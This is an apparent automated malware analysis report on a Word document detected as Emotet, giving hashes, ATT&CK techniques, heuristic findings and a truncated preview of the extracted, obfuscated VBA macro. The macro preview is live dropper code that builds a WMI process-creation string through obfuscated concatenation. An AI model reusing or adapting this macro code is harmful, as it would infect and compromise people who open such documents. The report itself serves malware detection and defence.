Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d8e606128ea6abf4…

MALICIOUS

Office (OLE)

189.9 KB Created: 2020-09-21 14:08:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: e500a78b44065e4eaee304028bf04d88 SHA-1: c2f584a169864c28dee698a9b49c83daf28b57e6 SHA-256: d8e606128ea6abf4af62e98e8f0de8e37080dc6aec867ab0a5d2d4a8ad68ebb5
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The file contains VBA macros, specifically a Document_Open macro that utilizes CreateObject and GetObject calls, indicative of malicious intent. ClamAV detection explicitly names this as Emotet. The VBA script, though obfuscated, appears to be designed to execute code, likely for downloading and running a secondary payload, which is a common Emotet tactic.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9765432-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9765432-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19074 bytes
SHA-256: 5f8ddf3f75befd9059f3326eb9e354f14c2179c2257f61708817109610baf98e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sa837u25mqhc9y9f"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Yb_zm4cl2tdlp = Array(Mgjic3k0aluz + "Seci_4x29pddFt9igvfrvj8x5 B_azeyungyket" + Lu3fe1u3a4e0t3e7g, Dpv2810p36mk0cc, Qlih9c1fe16qptome.Qcr5w_bqiqx6, Aar2te5k_iugf + "Glsz0di1xbhz9zp26 Xg2dpqdbwk2 E4k_wb4jd0elopt5 D7josk0bf7bw")
End Sub

Attribute VB_Name = "Qlih9c1fe16qptome"
Attribute VB_Base = "0{157127A2-A3A5-4830-8E8F-878A36843948}{94967D22-A541-498D-9A71-A68AB3E3BA92}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Qcr5w_bqiqx6()
On Error Resume Next
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Ai53fcno2x7da9i5, 196, 1)
dYvJsnjw = Mid _
(V50kdktxy7d3fgnbre, 212, 1)
BiHOVG = Mid _
(Osw3ykfbx1lfxfa, 35, 1)
GQJzwq = Mid _
(Nvn90lesgkxw, 34, 1)
WKcaSvfi = Mid _
(Nbu5xksjcla9i7, 9, 1)
lsFUF = Mid _
(I2qxe_6qdgxiodvoyt, 240, 1)
VAwYHAcv = Mid _
(Cz2ma7t0qkn_2pg, 20, 1)
hNfbEKURZVE = Mid _
(L5_sryvrx_bd, 179, 1)
wYVOV = Mid _
(M9mox3jvoq3w, 190, 1)
mLdZb = Mid _
(Jg2g85h9evy, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(Cqdkza5p4_n, 33, 1)
zmlHaKIVkFA = Mid _
(Pdx9vbni7qk, 168, 1)
UCPVYn = Mid _
(Srdi8hmmznumfl, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(L9gio41v5gjndhpf, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
M7hluppbo2go4j6q = 90
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Dqqjbvmxv82n7, 196, 1)
dYvJsnjw = Mid _
(Axekt5o0cue, 212, 1)
BiHOVG = Mid _
(Pt_ff2s6e2q9rff72, 35, 1)
GQJzwq = Mid _
(Xo8kmx3hu97go7fh_, 34, 1)
WKcaSvfi = Mid _
(Rp3_7b_jgh4oytilx, 9, 1)
lsFUF = Mid _
(Ylhmo9gu09nu3kgm, 240, 1)
VAwYHAcv = Mid _
(I_9t6lcruogj, 20, 1)
hNfbEKURZVE = Mid _
(Ydjqjyxla54lc, 179, 1)
wYVOV = Mid _
(Xxqthml7l1g, 190, 1)
mLdZb = Mid _
(Ze75t_kw_jl, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(As18lgei4kf5e, 33, 1)
zmlHaKIVkFA = Mid _
(Z9cc4tkfyspgl4aqb, 168, 1)
UCPVYn = Mid _
(Hes1wovfw0k1_b1y, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(Ju9r4b75ire, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
Buv3a7s64z9g8cage2 = Lsoancly6yc2f3 + Chr$(M7hluppbo2go4j6q + (25))
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Ftuqena81o03bnwv, 196, 1)
dYvJsnjw = Mid _
(Mb73naxazmwoxay54d, 212, 1)
BiHOVG = Mid _
(Fsmes4vnceorlddoy, 35, 1)
GQJzwq = Mid _
(W5s8qqapsdnk, 34, 1)
WKcaSvfi = Mid _
(Gj4ope9o_4yv7l7lku, 9, 1)
lsFUF = Mid _
(Aw9jllc8dclsa4g, 240, 1)
VAwYHAcv = Mid _
(Fs1yj157b6mu, 20, 1)
hNfbEKURZVE = Mid _
(Ddht2jmlasdn, 179, 1)
wYVOV = Mid _
(Vlzlx3zgy5v7, 190, 1)
mLdZb = Mid _
(H3ciq0s20_d0j, 265, 1)
zOJzf = BcfWWjIUB + dYvJsnjw + BiHOVG + GQJzwq + WKcaSvfi + lsFUF + VAwYHAcv + hNfbEKURZVE + wYVOV + mLdZb
UNfjikDjKTc = Mid _
(V5g_xla7th2hu6_, 33, 1)
zmlHaKIVkFA = Mid _
(Hxxo0vj4be6r8l, 168, 1)
UCPVYn = Mid _
(Ioi6ns50vmpi6rj, 10, 1)
EIjom = zOJzf + UNfjikDjKTc + zmlHaKIVkFA + UCPVYn
SFwwBAcXs = Mid _
(Q3r1rl7vjuo0sr, 44, 1)
scjHiSYQBQp = EIjom + SFwwBAcXs
R8wpjw339nko5qn = "g, bq,g, bq,wg, bq,ig, bq,nmg, bq,g, bq,gmg, bq,tg, bq,g, bq," + Buv3a7s64z9g8cage2 + "g, bq,g, bq,:g, bq,wg, bq,ing, bq,g, bq,3g, bq,2g, bq,_g, bq," + Qlih9c1fe16qptome.T7maztzkyy2gw96 + "g, bq,rog, bq,g, bq,ceg, bq,sg, bq,sg, bq,"
   Set nnnnnnnnn = Languages
BcfWWjIUB = Mid _
(Uj6uwsnkxq58, 196, 1)
dYvJsnjw = Mid _
(F0jdmfimwvt9ml4, 212, 1)
BiHOVG = Mid _
(Qyya1y597o31gqhn, 35, 1)
GQJzwq = Mid _
(Svkv8va65gzmxkg, 34, 1)
WKcaSvfi = Mid _
(P_3f76ueli9osfg, 9, 1)
lsFUF = Mid _
(Emx2sd2cyf8sf, 240, 1)
VAwYHAcv = Mid _
(Gevfwq
... (truncated)

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